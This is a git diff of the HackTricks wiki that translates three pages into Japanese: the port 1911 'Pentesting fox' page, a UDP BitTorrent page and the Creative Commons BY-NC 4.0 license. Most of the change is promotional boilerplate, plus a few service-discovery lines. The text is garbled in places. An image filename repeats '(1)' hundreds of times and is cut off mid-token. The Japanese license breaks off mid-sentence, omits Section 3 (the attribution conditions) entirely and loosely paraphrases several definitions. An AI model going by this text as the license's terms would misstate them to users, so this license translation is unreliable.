diff --git a/1911-pentesting-fox.md b/1911-pentesting-fox.md index 95d48017e..114e88818 100644 --- a/1911-pentesting-fox.md +++ b/1911-pentesting-fox.md @@ -1,49 +1,25 @@ -# 1911 - Pentesting fox +# 1911 - ペントエスティングフォックス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-And more services: +さらにサービス: -ubiquiti-discover udp "Ubiquiti Networks Device" +ubiquiti-discover udp "Ubiquiti Networksデバイス" -dht udp "DHT Nodes" +dht udp "DHTノード" 5060 udp sip "SIP/" ![](<.gitbook/assets/image (273).png>) -![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>) - -InfluxDB - -![](<.gitbook/assets/image (337).png>) - -![](<.gitbook/assets/image (338).png>) - -![](<.gitbook/assets/image (339).png>) - -![](<.gitbook/assets/image (340).png>) - -![](<.gitbook/assets/image (341).png>) - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+![](<.gitbook/assets/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1 diff --git a/6881-udp-pentesting-bittorrent.md b/6881-udp-pentesting-bittorrent.md index e4ae0b9f2..9a2894a76 100644 --- a/6881-udp-pentesting-bittorrent.md +++ b/6881-udp-pentesting-bittorrent.md @@ -1,38 +1,15 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/LICENSE.md b/LICENSE.md index 4de1926cf..3e9184d8e 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,208 +1,165 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-Creative Commons License
Copyright © Carlos Polop 2021. Except where otherwise specified (the external information copied into the book belongs to the original authors), the text on HACK TRICKS by Carlos Polop is licensed under the Creative Commons Attribution-NonCommercial 4.0 International (CC BY-NC 4.0). +Creative Commons License
著作権 © Carlos Polop 2021. ただし、他の場所で特に指定されていない限り(書籍にコピーされた外部情報は元の著者の所有物です)、Carlos PolopのHACK TRICKSのテキストはクリエイティブ・コモンズ・ライセンス表示 - 非営利 4.0 国際 (CC BY-NC 4.0)の下でライセンスされています。 -License: Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)
-Human Readable License: https://creativecommons.org/licenses/by-nc/4.0/
-Complete Legal Terms: https://creativecommons.org/licenses/by-nc/4.0/legalcode
-Formatting: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown
+ライセンス: クリエイティブ・コモンズ・ライセンス表示 - 非営利 4.0 国際 (CC BY-NC 4.0)
+人間に読みやすいライセンス: https://creativecommons.org/licenses/by-nc/4.0/
+完全な法的条項: https://creativecommons.org/licenses/by-nc/4.0/legalcode
+フォーマット: https://github.com/jmatsushita/Creative-Commons-4.0-Markdown/blob/master/licenses/by-nc.markdown
-# creative commons +# クリエイティブ・コモンズ -# Attribution-NonCommercial 4.0 International +# クリエイティブ・コモンズ表示 - 非営利 4.0 国際 -Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible. +クリエイティブ・コモンズ法人(以下「クリエイティブ・コモンズ」)は法律事務所ではなく、法的サービスや法的助言を提供していません。クリエイティブ・コモンズの公開ライセンスの配布は、弁護士とクライアントとの関係やその他の関係を作成するものではありません。クリエイティブ・コモンズは、ライセンス、その条件に従ってライセンスされた資料、および関連情報に関して、いかなる保証も提供しません。クリエイティブ・コモンズは、その使用によって生じる損害について、可能な限り免責します。 -## Using Creative Commons Public Licenses +## クリエイティブ・コモンズ公開ライセンスの使用 -Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses. +クリエイティブ・コモンズの公開ライセンスは、著作権および一部の他の権利によって制約されるオリジナルの著作物や他の資料を共有するために、作成者や他の権利者が使用できる標準的な条件を提供します。以下の考慮事項は情報提供の目的であり、限定的ではなく、ライセンスの一部ではありません。 -* __Considerations for licensors:__ Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. [More considerations for licensors](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). +* __ライセンサーの考慮事項:__ クリエイティブ・コモンズの公開ライセンスは、著作権や一部の他の権利によって制約される資料を一般に使用許可する権限を持つ者が使用することを意図しています。ライセンスは取り消すことができません。ライセンサーは、適用するライセンスの条項と条件をよく読み理解する必要があります。ライセンサーは、ライセンスを適用する前に必要なすべての権利を確保する必要があります。これには、ライセンスの対象外の資料を明確に表示することも含まれます。これには、他のCCライセンスの資料や、著作権の例外や制限の下で使用される資料が含まれます。[ライセンサーの詳細な考慮事項](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors)を参照してください。 -* __Considerations for the public:__ By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). +* __一般の考慮事項:__ クリエイティブ・コモンズの公開ライセンスを使用することにより、ライセンサーは特定の条件の下でライセンスされた資料を一般に使用する許可を一般に与えます。ライセンサーの許可が必要ない場合(たとえば、著作権の例外や制限の適用により)、その使用はライセンスによって規制されません。クリエイティブ・コモンズのライセンスは、ライセンサーが許可する権限に基づく著作権および一部の他の権利のみを付与します。ライセンスされた資料の使用は、他の理由により制限される場合があります。これには、他の人が資料に著作権や他の権利を持っている場合も含まれます。ライセンサーは、すべての変更がマークされるか説明されるように特別な要求をする場合があります。クリエイティブ・コモンズのライセンスでは必要ではありませんが、合理的な範囲でこれらの要求を尊重することが推奨されます。[一般の考慮事項](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees)を参照してください。 -# Creative Commons Attribution-NonCommercial 4.0 International Public License +# クリエイティブ・コモンズ表示 - 非営利 4.0 国際 公開ライセンス -By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions. +ライセンスされた権利(以下「ライセンスされた権利」という)を行使することにより、これらの利用規約に拘束されることを受け入れ、同意します。このクリエイティブ・コモンズ表示 - 非営利 4.0 国際公開ライセンス(以下「パブリック・ライセンス」という)の条項と条件によって、契約として解釈される場合、これらの利用規約を受け入れることにより、ライセンスされた権利が付与され、ライセンサーはこれらの条項と条件の下でライセンスされた資料を提供することによって受け取る利益に対する対価として、これらの権利をあなたに付与します。 +## セクション1 - 定義 -## Section 1 – Definitions. +a. __適応された資料__ は、著作権および類似の権利の対象であり、ライセンサーが保持する著作権および類似の権利に基づいて翻訳、変更、編曲、変形、またはその他の方法でライセンス資料が許可を必要とするように変更されたものを指します。このパブリックライセンスの目的において、ライセンス資料が音楽作品、パフォーマンス、または音声録音である場合、適応された資料は常にライセンス資料が動画とタイミングを合わせて使用される場合に作成されます。 -a. __Adapted Material__ means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image. +b. __アダプターのライセンス__ は、このパブリックライセンスの条件に従って、適応された資料への貢献における著作権および類似の権利に適用するライセンスを指します。 -b. __Adapter's License__ means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License. +c. __著作権および類似の権利__ は、著作権に密接に関連する著作権、パフォーマンス、放送、音声録音、および独自のデータベース権利を指します。このパブリックライセンスの目的において、セクション2(b)(1)-(2)で指定された権利は著作権および類似の権利ではありません。 -c. __Copyright and Similar Rights__ means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights. +d. __効果的な技術的手段__ は、適切な権限のない場合に回避できない措置を指します。これは、1996年12月20日に採択されたWIPO著作権条約の第11条に基づく義務を果たす法律によって禁止されるものです。 -d. __Effective Technological Measures__ means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements. +e. __例外および制限__ は、著作権および類似の権利に適用される公正な使用、公正な処理、および/またはその他の例外または制限を指します。 -e. __Exceptions and Limitations__ means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material. +f. __ライセンス資料__ は、ライセンサーがこのパブリックライセンスを適用した芸術作品、文学作品、データベース、またはその他の資料を指します。 -f. __Licensed Material__ means the artistic or literary work, database, or other material to which the Licensor applied this Public License. +g. __ライセンスされた権利__ は、ライセンサーがライセンスを付与する権利であり、ライセンサーがライセンスを付与する権限を持つライセンス資料の使用に適用されるすべての著作権および類似の権利に制限されます。 -g. __Licensed Rights__ means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license. +h. __ライセンサー__ は、このパブリックライセンスの下で権利を付与する個人または団体を指します。 -h. __Licensor__ means the individual(s) or entity(ies) granting rights under this Public License. +i. __非営利__ は、主に商業的な利益または金銭的な報酬を目的としていないことを意味します。このパブリックライセンスの目的において、デジタルファイル共有または類似の手段による著作権および類似の権利の対象となる資料との交換において、金銭的な報酬の支払いがない場合、非営利であるとみなされます。 -i. __NonCommercial__ means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange. +j. __共有__ は、ライセンスされた権利による許可が必要な方法またはプロセスによって、一般の人々に資料を提供し、複製、公開表示、公開演奏、配布、普及、通信、または輸入などの方法で資料を一般の人々が個別に選択した場所と時間でアクセスできるようにすることを指します。 -j. __Share__ means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them. +k. __独自のデータベース権利__ は、1996年3月11日の欧州議会および理事会の指令96/9/ECに基づく著作権以外の権利を指します。これは、世界中の他の本質的に同等の権利を含みます。 -k. __Sui Generis Database Rights__ means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world. +l. __あなた__ は、このパブリックライセンスの下でライセンスされた権利を行使する個人または団体を指します。"Your" はそれに対応する意味を持ちます。 -l. __You__ means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning. +## セクション2 - 範囲 -## Section 2 – Scope. +a. ___ライセンスの付与___ -a. ___License grant.___ +1. このパブリックライセンスの条件に従って、ライセンサーは、以下のライセンスをあなたに対して無償で、サブライセンス不可、非独占的、取り消し不能な世界的なライセンスとして、ライセンス資料に対するライセンス権を付与します。 - 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to: +A. 非営利目的のために、ライセンス資料を全部または一部複製し、共有すること。 - A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and +B. 非営利目的のために、適応された資料を製作、複製、共有すること。 - B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only. +2. __例外および制限__ 確認のために、例外および制限があなたの使用に適用される場合、このパブリックライセンスは適用されず、その条件に従う必要はありません。 - 2. __Exceptions and Limitations.__ For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions. - - 3. __Term.__ The term of this Public License is specified in Section 6(a). +3. __期間__ このパブリックライセンスの期間は、セクション6(a)で指定されています。 - 4. __Media and formats; technical modifications allowed.__ The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material. - - 5. __Downstream recipients.__ +4. __メディアおよびフォーマット;技術的な変更の許可__ ライセンサーは、既知または今後作成されるすべてのメディアおよびフォーマットでライセンス権を行使し、それを行うために必要な技術的な変更を許可します。ライセンサーは、このセクション2(a)(4)によって許可された修正を行うことを妨げる権利または権限を主張しないことに同意します。このパブリックライセンスの目的において、このセクション2(a)(4)によって許可された修正は、適応された資料を作成することはありません。 - A. __Offer from the Licensor – Licensed Material.__ Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License. +5. __下流の受取人__ - B. __No downstream restrictions.__ You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material. +A. __ライセンサーからの提供 - ライセンス資料__ ライセンス資料の受取人は、自動的にライセンサーからこのパブリックライセンスの条件に従ってライセンス権を行使するための提供を受けます。 - 6. __No endorsement.__ Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i). - -b. ___Other rights.___ +B. __下流への制限なし__ ライセンス資料の受取人のライセンス権の行使を制限するために、追加または異なる条件を課したり、効果的な技術的手段を適用したりすることはできません。 - 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise. +6. __承認なし__ このパブリックライセンスによって、ライセンサーや他の属性の表示を受けることが許可されていると主張または暗示する許可を与えるものではありません。 - 2. Patent and trademark rights are not licensed under this Public License. +b. ___その他の権利___ - 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties, including when the Licensed Material is used other than for NonCommercial purposes. - -## Section 3 – License Conditions. +1. このパブリックライセンスでは、道徳的権利(完全性の権利など)や公表権、プライバシーなどの類似のパーソナリティ権利はライセンスされません。ただし、可能な限り、ライセンサーは、ライセンス権を行使するために必要な範囲で、これらの権 +## セクション4 - Sui Generisデータベース権利。 -Your exercise of the Licensed Rights is expressly made subject to the following conditions. +ライセンスされた権利にSui Generisデータベース権利が含まれている場合: -a. ___Attribution.___ +a. 疑義を回避するために、セクション2(a)(1)は、非営利目的のためにデータベースの内容の全部または実質的な部分を抽出、再利用、複製、共有する権利を付与します。 - 1. If You Share the Licensed Material (including in modified form), You must: +b. Sui Generisデータベース権利を持つデータベースにデータベースの内容の全部または実質的な部分を含める場合、Sui Generisデータベース権利を持つデータベース(ただし、その個々の内容ではない)は適応された素材です。 - A. retain the following if it is supplied by the Licensor with the Licensed Material: +c. データベースの内容の全部または実質的な部分を共有する場合、セクション3(a)の条件に従う必要があります。 - i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated); +疑義を回避するために、このセクション4は、ライセンスされた権利に他の著作権および類似の権利が含まれている場合でも、このパブリックライセンスの義務を補完し、置き換えるものではありません。 - ii. a copyright notice; +## セクション5 - 免責事項と責任制限。 - iii. a notice that refers to this Public License; +a. __ライセンサーが別途引き受けていない限り、ライセンサーは可能な限りライセンスされた素材を現状有姿および利用可能な状態で提供し、明示的、黙示的、法定、その他のいかなる種類の表明や保証も行いません。これには、所有権、商品性、特定の目的への適合性、非侵害、潜在的な欠陥の有無、正確性、エラーの有無(既知または発見可能であるか否か)などの保証が含まれます。保証の免責が全面または一部で許可されていない場合、この免責事項は適用されない場合があります。__ - iv. a notice that refers to the disclaimer of warranties; +b. 